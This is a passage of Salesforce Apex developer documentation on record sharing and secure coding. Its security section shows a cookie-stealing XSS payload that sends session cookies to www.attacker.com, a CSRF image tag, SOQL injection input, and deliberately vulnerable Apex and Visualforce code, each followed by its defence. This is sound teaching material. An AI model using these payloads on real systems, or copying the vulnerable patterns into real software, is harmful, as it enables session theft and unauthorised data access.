Each record is owned by a user or optionally a queue for custom objects, cases and leads. The record owner is automatically
granted Full Access, allowing them to view, edit, transfer, share, and delete the record.
Role Hierarchy
The role hierarchy enables users above another user in the hierarchy to have the same level of access to records owned by or
shared with users below. Consequently, users above a record owner in the role hierarchy are also implicitly granted Full Access
to the record, though this behavior can be disabled for specific custom objects. The role hierarchy is not maintained with sharing
records. Instead, role hierarchy access is derived at runtime. For more information, see Controlling Access Using Hierarchies in
the Salesforce online help.
Sharing Rules
Sharing rules are used by administrators to automatically grant users within a given group or role access to records owned by a
specific group of users. Sharing rules cannot be added to a package and cannot be used to support sharing logic for apps installed
from Force.com AppExchange.
Sharing rules can be based on record ownership or other criteria. You cant use Apex to create criteria-based sharing rules. Also,
criteria-based sharing cannot be tested using Apex.
All implicit sharing added by Force.com managed sharing cannot be altered directly using the Salesforce user interface, SOAP API,
or Apex.
User Managed Sharing, also known as Manual Sharing
User managed sharing allows the record owner or any user with Full Access to a record to share the record with a user or group of
users. This is generally done by an end-user, for a single record. Only the record owner and users above the owner in the role hierarchy
are granted Full Access to the record. It is not possible to grant other users Full Access. Users with the Modify All object-level
permission for the given object or the Modify All Data permission can also manually share a record. User managed sharing is
removed when the record owner changes or when the access granted in the sharing does not grant additional access beyond the
object's organization-wide sharing default access level.
Apex Managed Sharing
Apex managed sharing provides developers with the ability to support an applications particular sharing requirements
programmatically through Apex or the SOAP API. This type of sharing is similar to Force.com managed sharing. Only users with
Modify All Data permission can add or change Apex managed sharing on a record. Apex managed sharing is maintained across
record owner changes.

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Note: Apex sharing reasons and Apex managed sharing recalculation are only available for custom objects.

The Sharing Reason Field

In the Salesforce user interface, the Reason field on a custom object specifies the type of sharing used for a record. This field is called
rowCause in Apex or the Force.com API.
Each of the following list items is a type of sharing used for records. The tables show Reason field value, and the related rowCause
value.
Force.com Managed Sharing
Reason Field Value

rowCause Value (Used in Apex or the Force.com API)

Account Sharing

ImplicitChild

Associated record owner or sharing

ImplicitParent

Owner

Opportunity Team

Team

Sharing Rule

Rule

Territory Assignment Rule

TerritoryRule

User Managed Sharing

Reason Field Value

rowCause Value (Used in Apex or the Force.com API)

Manual Sharing

Manual

Territory Manual

TerritoryManual

Apex Managed Sharing

Reason Field Value

rowCause Value (Used in Apex or the Force.com API)

Defined by developer

The displayed reason for Apex managed sharing is defined by the developer.

Access Levels
When determining a users access to a record, the most permissive level of access is used. Most share objects support the following
access levels:

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Access Level

API Name

Description

Private

None

Only the record owner and users above the record owner in the role hierarchy
can view and edit the record. This access level only applies to the AccountShare
object.

Read Only

Read

The specified user or group can view the record only.

Read/Write

Edit

The specified user or group can view and edit the record.

Full Access

All

The specified user or group can view, edit, transfer, share, and delete the record.
Note: This access level can only be granted with Force.com managed
sharing.

Sharing Considerations
Apex Triggers and User Record Sharing
If a trigger changes the owner of a record, the running user must have read access to the new owners user record if the trigger is
started through the following:
API
Standard user interface
Standard Visualforce controller
Class defined with the with sharing keyword
If a trigger is started through a class thats not defined with the with sharing keyword, the trigger runs in system mode. In
this case, the trigger doesnt require the running user to have specific access.

Sharing a Record Using Apex

To access sharing programmatically, you must use the share object associated with the standard or custom object for which you want
to share. For example, AccountShare is the sharing object for the Account object, ContactShare is the sharing object for the Contact
object, and so on. In addition, all custom object sharing objects are named as follows, where MyCustomObject is the name of the
custom object:
MyCustomObject__Share

Objects on the detail side of a master-detail relationship do not have an associated sharing object. The detail records access is determined
by the masters sharing object and the relationships sharing setting. For more information, see Custom Object Security in the Salesforce
online help.
A share object includes records supporting all three types of sharing: Force.com managed sharing, user managed sharing, and Apex
managed sharing. Sharing granted to users implicitly through organization-wide defaults, the role hierarchy, and permissions such as
the View All and Modify All permissions for the given object, View All Data, and Modify All Data are not tracked with this object.
Every share object has the following properties:

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Property Name

Understanding Apex Managed Sharing

Description

objectNameAccessLevel The level of access that the specified user or group has been granted for a share sObject. The name
of the property is AccessLevel appended to the object name. For example, the property name
for LeadShare object is LeadShareAccessLevel. Valid values are:

Edit
Read
All
Note: The All access level can only be used by Force.com managed sharing.
This field must be set to an access level that is higher than the organizations default access level for
the parent object. For more information, see Access Levels on page 187.
ParentID

The ID of the object. This field cannot be updated.

RowCause

The reason why the user or group is being granted access. The reason determines the type of sharing,
which controls who can alter the sharing record. This field cannot be updated.

UserOrGroupId

The user or group IDs to which you are granting access. A group can be a public group or a sharing
group associated with a role or territory. This field cannot be updated.

You can share a standard or custom object with users or groups. For more information about the types of users and groups you can
share an object with, see User and Group in the Object Reference for Salesforce and Force.com.

Creating User Managed Sharing Using Apex

It is possible to manually share a record to a user or a group using Apex or the SOAP API. If the owner of the record changes, the sharing
is automatically deleted. The following example class contains a method that shares the job specified by the job ID with the specified
user or group ID with read access. It also includes a test method that validates this method. Before you save this example class, create a
custom object called Job.
Note: Manual shares written using Apex contains RowCause="Manual" by default. Only shares with this condition are
removed when ownership changes.
public class JobSharing {
public static boolean manualShareRead(Id recordId, Id userOrGroupId){
// Create new sharing object for the custom object Job.
Job__Share jobShr = new Job__Share();
// Set the ID of record being shared.
jobShr.ParentId = recordId;
// Set the ID of user or group being granted access.
jobShr.UserOrGroupId = userOrGroupId;
// Set the access level.
jobShr.AccessLevel = 'Read';
// Set rowCause to 'manual' for manual sharing.
// This line can be omitted as 'manual' is the default value for sharing objects.

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jobShr.RowCause = Schema.Job__Share.RowCause.Manual;
// Insert the sharing record and capture the save result.
// The false parameter allows for partial processing if multiple records passed
// into the operation.
Database.SaveResult sr = Database.insert(jobShr,false);
// Process the save results.
if(sr.isSuccess()){
// Indicates success
return true;
}
else {
// Get first save result error.
Database.Error err = sr.getErrors()[0];
// Check if the error is related to trival access level.
// Access level must be more permissive than the object's default.
// These sharing records are not required and thus an insert exception is
acceptable.
if(err.getStatusCode() == StatusCode.FIELD_FILTER_VALIDATION_EXCEPTION &&
err.getMessage().contains('AccessLevel')){
// Indicates success.
return true;
}
else{
// Indicates failure.
return false;
}
}
}
}
@isTest
private class JobSharingTest {
// Test for the manualShareRead method
static testMethod void testManualShareRead(){
// Select users for the test.
List<User> users = [SELECT Id FROM User WHERE IsActive = true LIMIT 2];
Id User1Id = users[0].Id;
Id User2Id = users[1].Id;
// Create new job.
Job__c j = new Job__c();
j.Name = 'Test Job';
j.OwnerId = user1Id;
insert j;
// Insert manual share for user who is not record owner.
System.assertEquals(JobSharing.manualShareRead(j.Id, user2Id), true);
// Query job sharing records.
List<Job__Share> jShrs = [SELECT Id, UserOrGroupId, AccessLevel,

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RowCause FROM job__share WHERE ParentId = :j.Id AND UserOrGroupId= :user2Id];

// Test for only one manual share on job.
System.assertEquals(jShrs.size(), 1, 'Set the object\'s sharing model to Private.');

// Test attributes of manual share.

System.assertEquals(jShrs[0].AccessLevel, 'Read');
System.assertEquals(jShrs[0].RowCause, 'Manual');
System.assertEquals(jShrs[0].UserOrGroupId, user2Id);
// Test invalid job Id.
delete j;
// Insert manual share for deleted job id.
System.assertEquals(JobSharing.manualShareRead(j.Id, user2Id), false);
}
}

Important: The objects organization-wide default access level must not be set to the most permissive access level. For custom
objects, this level is Public Read/Write. For more information, see Access Levels on page 187.

Creating Apex Managed Sharing

Apex managed sharing enables developers to programmatically manipulate sharing to support their applications behavior through
Apex or the SOAP API. This type of sharing is similar to Force.com managed sharing. Only users with Modify All Data permission can
add or change Apex managed sharing on a record. Apex managed sharing is maintained across record owner changes.
Apex managed sharing must use an Apex sharing reason. Apex sharing reasons are a way for developers to track why they shared a record
with a user or group of users. Using multiple Apex sharing reasons simplifies the coding required to make updates and deletions of
sharing records. They also enable developers to share with the same user or group multiple times using different reasons.
Apex sharing reasons are defined on an object's detail page. Each Apex sharing reason has a label and a name:
The label displays in the Reason column when viewing the sharing for a record in the user interface. This label allows users and
administrators to understand the source of the sharing. The label is also enabled for translation through the Translation Workbench.
The name is used when referencing the reason in the API and Apex.
All Apex sharing reason names have the following format:
MyReasonName__c

Apex sharing reasons can be referenced programmatically as follows:

Schema.CustomObject__Share.rowCause.SharingReason__c

For example, an Apex sharing reason called Recruiter for an object called Job can be referenced as follows:
Schema.Job__Share.rowCause.Recruiter__c

For more information, see Schema Class on page 2300.

To create an Apex sharing reason:
1. From the management settings for the custom object, click New in the Apex Sharing Reasons related list.
2. Enter a label for the Apex sharing reason. The label displays in the Reason column when viewing the sharing for a record in the
user interface. The label is also enabled for translation through the Translation Workbench.

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3. Enter a name for the Apex sharing reason. The name is used when referencing the reason in the API and Apex. This name can contain
only underscores and alphanumeric characters, and must be unique in your org. It must begin with a letter, not include spaces, not
end with an underscore, and not contain two consecutive underscores.
4. Click Save.
Note: Apex sharing reasons and Apex managed sharing recalculation are only available for custom objects.

Apex Managed Sharing Example

For this example, suppose you are building a recruiting application and have an object called Job. You want to validate that the recruiter
and hiring manager listed on the job have access to the record. The following trigger grants the recruiter and hiring manager access
when the job record is created. This example requires a custom object called Job, with two lookup fields associated with User records
called Hiring_Manager and Recruiter. Also, the Job custom object should have two sharing reasons added called Hiring_Manager and
Recruiter.
trigger JobApexSharing on Job__c (after insert) {
if(trigger.isInsert){
// Create a new list of sharing objects for Job
List<Job__Share> jobShrs = new List<Job__Share>();
// Declare variables for recruiting and hiring manager sharing
Job__Share recruiterShr;
Job__Share hmShr;
for(Job__c job : trigger.new){
// Instantiate the sharing objects
recruiterShr = new Job__Share();
hmShr = new Job__Share();
// Set the ID of record being shared
recruiterShr.ParentId = job.Id;
hmShr.ParentId = job.Id;
// Set the ID of user or group being granted access
recruiterShr.UserOrGroupId = job.Recruiter__c;
hmShr.UserOrGroupId = job.Hiring_Manager__c;
// Set the access level
recruiterShr.AccessLevel = 'edit';
hmShr.AccessLevel = 'read';
// Set the Apex sharing reason for hiring manager and recruiter
recruiterShr.RowCause = Schema.Job__Share.RowCause.Recruiter__c;
hmShr.RowCause = Schema.Job__Share.RowCause.Hiring_Manager__c;
// Add objects to list for insert
jobShrs.add(recruiterShr);
jobShrs.add(hmShr);
}
// Insert sharing records and capture save result
// The false parameter allows for partial processing if multiple records are passed

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// into the operation

Database.SaveResult[] lsr = Database.insert(jobShrs,false);
// Create counter
Integer i=0;
// Process the save results
for(Database.SaveResult sr : lsr){
if(!sr.isSuccess()){
// Get the first save result error
Database.Error err = sr.getErrors()[0];
//
//
//
//

Check if the error is related to a trivial access level

Access levels equal or more permissive than the object's default
access level are not allowed.
These sharing records are not required and thus an insert exception is

// acceptable.
if(!(err.getStatusCode() == StatusCode.FIELD_FILTER_VALIDATION_EXCEPTION
&&
err.getMessage().contains('AccessLevel'))){
// Throw an error when the error is not related to trivial access
level.
trigger.newMap.get(jobShrs[i].ParentId).
addError(
'Unable to grant sharing access due to following exception: '
+ err.getMessage());
}
}
i++;
}
}
}

Under certain circumstances, inserting a share row results in an update of an existing share row. Consider these examples:
A manual share access level is set to Read and you insert a new one set to Write. The original share rows are updated to Write,
indicating the higher level of access.
Users can access an account because they can access its child records (contact, case, opportunity, and so on). If an account sharing
rule is created, the sharing rule row cause (which is a higher access level) replaces the parent implicit share row cause, indicating
the higher level of access.
Important: The objects organization-wide default access level must not be set to the most permissive access level. For custom
objects, this level is Public Read/Write. For more information, see Access Levels on page 187.

Creating Apex Managed Sharing for Customer Community Plus users

Customer Community Plus users are previously known as Customer Portal users. Share objects, such as AccountShare and
ContactShare, arent available to these users. If you must use share objects as a Customer Community Plus user, consider using a
trigger, which operates with the without sharing keyword by default. Otherwise, use an inner class with the same keyword to
enable the DML operation to run successfully. A separate utility class can also be used to enable this access.

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Granting visibility via manual/apex shares written to the share objects is supported but the objects themselves aren't available to Customer
Community Plus users. However, other users can add shares that grant access to Customer Community Plus users.

Recalculating Apex Managed Sharing

Salesforce automatically recalculates sharing for all records on an object when its organization-wide sharing default access level changes.
The recalculation adds Force.com managed sharing when appropriate. In addition, all types of sharing are removed if the access they
grant is considered redundant. For example, manual sharing, which grants Read Only access to a user, is deleted when the objects
sharing model changes from Private to Public Read Only.
To recalculate Apex managed sharing, you must write an Apex class that implements a Salesforce-provided interface to do the recalculation.
You must then associate the class with the custom object, on the custom object's detail page, in the Apex Sharing Recalculation related
list.
Note: Apex sharing reasons and Apex managed sharing recalculation are only available for custom objects.
You can execute this class from the custom object detail page where the Apex sharing reason is specified. An administrator might need
to recalculate the Apex managed sharing for an object if a locking issue prevented Apex code from granting access to a user as defined
by the applications logic. You can also use the Database.executeBatch method to programmatically invoke an Apex managed
sharing recalculation.
Note: Every time a custom object's organization-wide sharing default access level is updated, any Apex recalculation classes
defined for associated custom object are also executed.
To monitor or stop the execution of the Apex recalculation, from Setup, enter Apex Jobs in the Quick Find box, then select
Apex Jobs.

Creating an Apex Class for Recalculating Sharing

To recalculate Apex managed sharing, you must write an Apex class to do the recalculation. This class must implement the
Salesforce-provided interface Database.Batchable.
The Database.Batchable interface is used for all batch Apex processes, including recalculating Apex managed sharing. You can
implement this interface more than once in your organization. For more information on the methods that must be implemented, see
Using Batch Apex on page 240.
Before creating an Apex managed sharing recalculation class, also consider the best practices.
Important: The objects organization-wide default access level must not be set to the most permissive access level. For custom
objects, this level is Public Read/Write. For more information, see Access Levels on page 187.

Apex Managed Sharing Recalculation Example

For this example, suppose you are building a recruiting application and have an object called Job. You want to validate that the recruiter
and hiring manager listed on the job have access to the record. The following Apex class performs this validation. This example requires
a custom object called Job, with two lookup fields associated with User records called Hiring_Manager and Recruiter. Also, the Job
custom object should have two sharing reasons added called Hiring_Manager and Recruiter. Before you run this sample, replace the
email address with a valid email address that you want to to send error notifications and job completion notifications to.
global class JobSharingRecalc implements Database.Batchable<sObject> {
// String to hold email address that emails will be sent to.
// Replace its value with a valid email address.
static String emailAddress = '[email protected]';

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// The start method is called at the beginning of a sharing recalculation.

// This method returns a SOQL query locator containing the records
// to be recalculated.
global Database.QueryLocator start(Database.BatchableContext BC){
return Database.getQueryLocator([SELECT Id, Hiring_Manager__c, Recruiter__c
FROM Job__c]);
}
// The executeBatch method is called for each chunk of records returned from start.
global void execute(Database.BatchableContext BC, List<sObject> scope){
// Create a map for the chunk of records passed into method.
Map<ID, Job__c> jobMap = new Map<ID, Job__c>((List<Job__c>)scope);
// Create a list of Job__Share objects to be inserted.
List<Job__Share> newJobShrs = new List<Job__Share>();
// Locate all existing sharing records for the Job records in the batch.
// Only records using an Apex sharing reason for this app should be returned.
List<Job__Share> oldJobShrs = [SELECT Id FROM Job__Share WHERE ParentId IN
:jobMap.keySet() AND
(RowCause = :Schema.Job__Share.rowCause.Recruiter__c OR
RowCause = :Schema.Job__Share.rowCause.Hiring_Manager__c)];
// Construct new sharing records for the hiring manager and recruiter
// on each Job record.
for(Job__c job : jobMap.values()){
Job__Share jobHMShr = new Job__Share();
Job__Share jobRecShr = new Job__Share();
// Set the ID of user (hiring manager) on the Job record being granted access.
jobHMShr.UserOrGroupId = job.Hiring_Manager__c;
// The hiring manager on the job should always have 'Read Only' access.
jobHMShr.AccessLevel = 'Read';
// The ID of the record being shared
jobHMShr.ParentId = job.Id;
// Set the rowCause to the Apex sharing reason for hiring manager.
// This establishes the sharing record as Apex managed sharing.
jobHMShr.RowCause = Schema.Job__Share.RowCause.Hiring_Manager__c;
// Add sharing record to list for insertion.
newJobShrs.add(jobHMShr);
// Set the ID of user (recruiter) on the Job record being granted access.
jobRecShr.UserOrGroupId = job.Recruiter__c;
// The recruiter on the job should always have 'Read/Write' access.
jobRecShr.AccessLevel = 'Edit';

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// The ID of the record being shared

jobRecShr.ParentId = job.Id;
// Set the rowCause to the Apex sharing reason for recruiter.
// This establishes the sharing record as Apex managed sharing.
jobRecShr.RowCause = Schema.Job__Share.RowCause.Recruiter__c;
// Add the sharing record to the list for insertion.
newJobShrs.add(jobRecShr);
}
try {
// Delete the existing sharing records.
// This allows new sharing records to be written from scratch.
Delete oldJobShrs;
// Insert the new sharing records and capture the save result.
// The false parameter allows for partial processing if multiple records are
// passed into operation.
Database.SaveResult[] lsr = Database.insert(newJobShrs,false);
// Process the save results for insert.
for(Database.SaveResult sr : lsr){
if(!sr.isSuccess()){
// Get the first save result error.
Database.Error err = sr.getErrors()[0];
//
//
//
//

Check if the error is related to trivial access level.

Access levels equal or more permissive than the object's default
access level are not allowed.
These sharing records are not required and thus an insert exception

// is acceptable.
if(!(err.getStatusCode() == StatusCode.FIELD_FILTER_VALIDATION_EXCEPTION
&& err.getMessage().contains('AccessLevel'))){
// Error is not related to trivial access level.
// Send an email to the Apex job's submitter.
Messaging.SingleEmailMessage mail = new Messaging.SingleEmailMessage();
String[] toAddresses = new String[] {emailAddress};
mail.setToAddresses(toAddresses);
mail.setSubject('Apex Sharing Recalculation Exception');
mail.setPlainTextBody(
'The Apex sharing recalculation threw the following exception: ' +
err.getMessage());
Messaging.sendEmail(new Messaging.SingleEmailMessage[] { mail });
}
}
}
} catch(DmlException e) {
// Send an email to the Apex job's submitter on failure.
Messaging.SingleEmailMessage mail = new Messaging.SingleEmailMessage();

Understanding Security
The powerful combination of Apex and Visualforce pages allow Force.com developers to provide custom functionality and business
logic to Salesforce or create a completely new stand-alone product running inside the Force.com platform. However, as with any
programming language, developers must be cognizant of potential security-related pitfalls.
Salesforce has incorporated several security defenses into the Force.com platform itself. However, careless developers can still bypass
the built-in defenses in many cases and expose their applications and customers to security risks. Many of the coding mistakes a developer
can make on the Force.com platform are similar to general Web application security vulnerabilities, while others are unique to Apex.
To certify an application for AppExchange, it is important that developers learn and understand the security flaws described here. For
additional information, see the Force.com Security Resources page on Salesforce Developers at
https://developer.salesforce.com/page/Security.

Cross Site Scripting (XSS)

Cross-site scripting (XSS) attacks cover a broad range of attacks where malicious HTML or client-side scripting is provided to a Web
application. The Web application includes malicious scripting in a response to a user of the Web application. The user then unknowingly
becomes the victim of the attack. The attacker has used the Web application as an intermediary in the attack, taking advantage of the
victim's trust for the Web application. Most applications that display dynamic Web pages without properly validating the data are likely
to be vulnerable. Attacks against the website are especially easy if input from one user is intended to be displayed to another user. Some
obvious possibilities include bulletin board or user comment-style websites, news, or email archives.
For example, assume the following script is included in a Force.com page using a script component, an on* event, or a Visualforce
page.
<script>var foo = '{!$CurrentPage.parameters.userparam}';script>var foo =
'{!$CurrentPage.parameters.userparam}';</script>

This script block inserts the value of the user-supplied userparam onto the page. The attacker can then enter the following value for
userparam:
1';document.location='http://www.attacker.com/cgi-bin/cookie.cgi?'%2Bdocument.cookie;var%20foo='2

In this case, all of the cookies for the current page are sent to www.attacker.com as the query string in the request to the
cookie.cgi script. At this point, the attacker has the victim's session cookie and can connect to the Web application as if they were
the victim.
The attacker can post a malicious script using a Website or email. Web application users not only see the attacker's input, but their
browser can execute the attacker's script in a trusted context. With this ability, the attacker can perform a wide variety of attacks against
the victim. These range from simple actions, such as opening and closing windows, to more malicious attacks, such as stealing data or
session cookies, allowing an attacker full access to the victim's session.
For more information on this attack in general, see the following articles:
http://www.owasp.org/index.php/Cross_Site_Scripting
http://www.cgisecurity.com/xss-faq.html
http://www.owasp.org/index.php/Testing_for_Cross_site_scripting
http://www.google.com/search?q=cross-site+scripting

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Within the Force.com platform there are several anti-XSS defenses in place. For example, Salesforce has implemented filters that screen
out harmful characters in most output methods. For the developer using standard classes and output methods, the threats of XSS flaws
have been largely mitigated. However, the creative developer can still find ways to intentionally or accidentally bypass the default
controls. The following sections show where protection does and does not exist.

Existing Protection
All standard Visualforce components, which start with <apex>, have anti-XSS filters in place. For example, the following code is normally
vulnerable to an XSS attack because it takes user-supplied input and outputs it directly back to the user, but the <apex:outputText>
tag is XSS-safe. All characters that appear to be HTML tags are converted to their literal form. For example, the < character is converted
to < so that a literal < displays on the user's screen.
<apex:outputText>
{!$CurrentPage.parameters.userInput}
</apex:outputText>

Disabling Escape on Visualforce Tags

By default, nearly all Visualforce tags escape the XSS-vulnerable characters. It is possible to disable this behavior by setting the optional
attribute escape="false". For example, the following output is vulnerable to XSS attacks:
<apex:outputText escape="false" value="{!$CurrentPage.parameters.userInput}" />

Programming Items Not Protected from XSS

The following items do not have built-in XSS protections, so take extra care when using these tags and objects. This is because these
items were intended to allow the developer to customize the page by inserting script commands. It does not makes sense to include
anti-XSS filters on commands that are intentionally added to a page.
Custom JavaScript
If you write your own JavaScript, the Force.com platform has no way to protect you. For example, the following code is vulnerable
to XSS if used in JavaScript.
<script>
var foo = location.search;
document.write(foo);
</script>

<apex:includeScript>
The <apex:includeScript> Visualforce component allows you to include a custom script on the page. In these cases, be
very careful to validate that the content is safe and does not include user-supplied data. For example, the following snippet is
extremely vulnerable because it includes user-supplied input as the value of the script text. The value provided by the tag is a URL
to the JavaScript to include. If an attacker can supply arbitrary data to this parameter (as in the example below), they can potentially
direct the victim to include any JavaScript file from any other website.
<apex:includeScript value="{!$CurrentPage.parameters.userInput}" />

Unescaped Output and Formulas in Visualforce Pages

When using components that have set the escape attribute to false, or when including formulas outside of a Visualforce component,
output is unfiltered and must be validated for security. This is especially important when using formula expressions.

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Formula expressions can be function calls or include information about platform objects, a user's environment, system environment,
and the request environment. Its important to be aware that the output thats generated by expressions isnt escaped during rendering.
Since expressions are rendered on the server, its not possible to escape rendered data on the client using JavaScript or other client-side
technology. This can lead to potentially dangerous situations if the formula expression references non-system data (that is, potentially
hostile or editable data) and the expression itself is not wrapped in a function to escape the output during rendering.
A common vulnerability is created by rerendering user input on a page. For example,
<apex:page standardController="Account">
<apex:form>
<apex:commandButton rerender="outputIt" value="Update It"/>
<apex:inputText value="{!myTextField}"/>
</apex:form>
<apex:outputPanel id="outputIt">
Value of myTextField is <apex:outputText value="{!myTextField}" escape="false"/>
</apex:outputPanel>
</apex:page>

The unescaped {!myTextField} results in a cross-site scripting vulnerability. For example, if the user enters :
<script>alert('xss')

and clicks Update It, the JavaScript is executed. In this case, an alert dialog is displayed, but more malicious uses could be designed.
There are several functions that you can use for escaping potentially insecure strings.
HTMLENCODE
Encodes text and merge field values for use in HTML by replacing characters that are reserved in HTML, such as the greater-than
sign (>), with HTML entity equivalents, such as >.
JSENCODE
Encodes text and merge field values for use in JavaScript by inserting escape characters, such as a backslash (\), before unsafe
JavaScript characters, such as the apostrophe (').
JSINHTMLENCODE
Encodes text and merge field values for use in JavaScript inside HTML tags by replacing characters that are reserved in HTML with
HTML entity equivalents and inserting escape characters before unsafe JavaScript characters. JSINHTMLENCODE(someValue)
is a convenience function that is equivalent to JSENCODE(HTMLENCODE((someValue)). That is, JSINHTMLENCODE
first encodes someValue with HTMLENCODE, and then encodes the result with JSENCODE.
URLENCODE
Encodes text and merge field values for use in URLs by replacing characters that are illegal in URLs, such as blank spaces, with the
code that represent those characters as defined in RFC 3986, Uniform Resource Identifier (URI): Generic Syntax. For example, blank
spaces are replaced with %20, and exclamation points are replaced with %21.
To use HTMLENCODE to secure the previous example, change the <apex:outputText> to the following:
<apex:outputText value=" {!HTMLENCODE(myTextField)}" escape="false"/>

If a user enters <script>alert('xss') and clicks Update It, the JavaScript is not be executed. Instead, the string is encoded
and the page displays Value of myTextField is <script>alert('xss').
Depending on the placement of the tag and usage of the data, both the characters needing escaping as well as their escaped counterparts
may vary. For instance, this statement, which copies a Visualforce request parameter into a JavaScript variable:
<script>var ret = "{!$CurrentPage.parameters.retURL}";</script>

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requires that any double quote characters in the request parameter be escaped with the URL encoded equivalent of %22 instead of
the HTML escaped ". Otherwise, the request:
http://example.com/demo/redirect.html?retURL=%22foo%22%3Balert('xss')%3B%2F%2F

results in:
<script>var ret = "foo";alert('xss');//";</script>

When the page loads the JavaScript executes, and the alert is displayed.
In this case, to prevent JavaScript from being executed, use the JSENCODE function. For example
<script>var ret = "{!JSENCODE($CurrentPage.parameters.retURL)}";</script>

Formula tags can also be used to include platform object data. Although the data is taken directly from the user's organization, it must
still be escaped before use to prevent users from executing code in the context of other users (potentially those with higher privilege
levels). While these types of attacks must be performed by users within the same organization, they undermine the organization's user
roles and reduce the integrity of auditing records. Additionally, many organizations contain data which has been imported from external
sources and might not have been screened for malicious content.

Cross-Site Request Forgery (CSRF)

Cross-Site Request Forgery (CSRF) flaws are less of a programming mistake as they are a lack of a defense. The easiest way to describe
CSRF is to provide a very simple example. An attacker has a Web page at www.attacker.com. This could be any Web page, including
one that provides valuable services or information that drives traffic to that site. Somewhere on the attacker's page is an HTML tag that
looks like this:
<img
src="http://www.yourwebpage.com/yourapplication/[email protected]&type=admin....."
height=1 width=1 />

In other words, the attacker's page contains a URL that performs an action on your website. If the user is still logged into your Web page
when they visit the attacker's Web page, the URL is retrieved and the actions performed. This attack succeeds because the user is still
authenticated to your Web page. This is a very simple example and the attacker can get more creative by using scripts to generate the
callback request or even use CSRF attacks against your AJAX methods.
For more information and traditional defenses, see the following articles:
http://www.owasp.org/index.php/Cross-Site_Request_Forgery
http://www.cgisecurity.com/csrf-faq.html
http://shiflett.org/articles/cross-site-request-forgeries
Within the Force.com platform, Salesforce has implemented an anti-CSRF token to prevent this attack. Every page includes a random
string of characters as a hidden form field. Upon the next page load, the application checks the validity of this string of characters and
does not execute the command unless the value matches the expected value. This feature protects you when using all of the standard
controllers and methods.
Here again, the developer might bypass the built-in defenses without realizing the risk. For example, suppose you have a custom controller
where you take the object ID as an input parameter, then use that input parameter in an SOQL call. Consider the following code snippet.
<apex:page controller="myClass" action="{!init}"</apex:page>
public class myClass {
public void init() {
Id id = ApexPages.currentPage().getParameters().get('id');

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Account obj = [select id, Name FROM Account WHERE id = :id];

delete obj;
return ;
}
}

In this case, the developer has unknowingly bypassed the anti-CSRF controls by developing their own action method. The id parameter
is read and used in the code. The anti-CSRF token is never read or validated. An attacker Web page might have sent the user to this page
using a CSRF attack and provided any value they wish for the id parameter.
There are no built-in defenses for situations like this and developers should be cautious about writing pages that take action based upon
a user-supplied parameter like the id variable in the preceding example. A possible work-around is to insert an intermediate confirmation
page before taking the action, to make sure the user intended to call the page. Other suggestions include shortening the idle session
timeout for the organization and educating users to log out of their active session and not use their browser to visit other sites while
authenticated.

SOQL Injection
In other programming languages, the previous flaw is known as SQL injection. Apex does not use SQL, but uses its own database query
language, SOQL. SOQL is much simpler and more limited in functionality than SQL. Therefore, the risks are much lower for SOQL injection
than for SQL injection, but the attacks are nearly identical to traditional SQL injection. In summary SQL/SOQL injection involves taking
user-supplied input and using those values in a dynamic SOQL query. If the input is not validated, it can include SOQL commands that
effectively modify the SOQL statement and trick the application into performing unintended commands.
For more information on SQL Injection attacks see:
http://www.owasp.org/index.php/SQL_injection
http://www.owasp.org/index.php/Blind_SQL_Injection
http://www.owasp.org/index.php/Guide_to_SQL_Injection
http://www.google.com/search?q=sql+injection

SOQL Injection Vulnerability in Apex

Below is a simple example of Apex and Visualforce code vulnerable to SOQL injection.
<apex:page controller="SOQLController" >
<apex:form>
<apex:outputText value="Enter Name" />
<apex:inputText value="{!name}" />
<apex:commandButton value="Query" action="{!query} />
</apex:form>
</apex:page>
public class SOQLController {
public String name {
get { return name;}
set { name = value;}
}
public PageReference query() {
String qryString = 'SELECT Id FROM Contact WHERE ' +
'(IsDeleted = false and Name like \'%' + name + '%\')';
queryResult = Database.query(qryString);
return null;

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}
}

This is a very simple example but illustrates the logic. The code is intended to search for contacts that have not been deleted. The user
provides one input value called name. The value can be anything provided by the user and it is never validated. The SOQL query is built
dynamically and then executed with the Database.query method. If the user provides a legitimate value, the statement executes
as expected:
// User supplied value: name = Bob
// Query string
SELECT Id FROM Contact WHERE (IsDeleted = false and Name like '%Bob%')

However, what if the user provides unexpected input, such as:

// User supplied value for name: test%') OR (Name LIKE '

In that case, the query string becomes:

SELECT Id FROM Contact WHERE (IsDeleted = false AND Name LIKE '%test%') OR (Name LIKE '%')

Now the results show all contacts, not just the non-deleted ones. A SOQL Injection flaw can be used to modify the intended logic of any
vulnerable query.

SOQL Injection Defenses

To prevent a SOQL injection attack, avoid using dynamic SOQL queries. Instead, use static queries and binding variables. The vulnerable
example above can be re-written using static SOQL as follows:
public class SOQLController {
public String name {
get { return name;}
set { name = value;}
}
public PageReference query() {
String queryName = '%' + name + '%';
queryResult = [SELECT Id FROM Contact WHERE
(IsDeleted = false and Name like :queryName)];
return null;
}
}

If you must use dynamic SOQL, use the escapeSingleQuotes method to sanitize user-supplied input. This method adds the
escape character (\) to all single quotation marks in a string that is passed in from a user. The method ensures that all single quotation
marks are treated as enclosing strings, instead of database commands.

Data Access Control

The Force.com platform makes extensive use of data sharing rules. Each object has permissions and may have sharing settings for which
users can read, create, edit, and delete. These settings are enforced when using all standard controllers.
When using an Apex class, the built-in user permissions and field-level security restrictions are not respected during execution. The
default behavior is that an Apex class has the ability to read and update all data within the organization. Because these rules are not
enforced, developers who use Apex must take care that they do not inadvertently expose sensitive data that would normally be hidden

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Custom Settings

from users by user permissions, field-level security, or organization-wide defaults. This is particularly true for Visualforce pages. For
example, consider the following Apex pseudo-code:
public class customController {
public void read() {
Contact contact = [SELECT id FROM Contact WHERE Name = :value];
}
}

In this case, all contact records are searched, even if the user currently logged in would not normally have permission to view these
records. The solution is to use the qualifying keywords with sharing when declaring the class:
public with sharing class customController {
. . .
}

The with sharing keyword directs the platform to use the security sharing permissions of the user currently logged in, rather than
granting full access to all records.

Custom Settings
Custom settings are similar to custom objects and enable application developers to create custom sets of data, as well as create and
associate custom data for an organization, profile, or specific user. All custom settings data is exposed in the application cache, which
enables efficient access without the cost of repeated queries to the database. This data can then be used by formula fields, validation
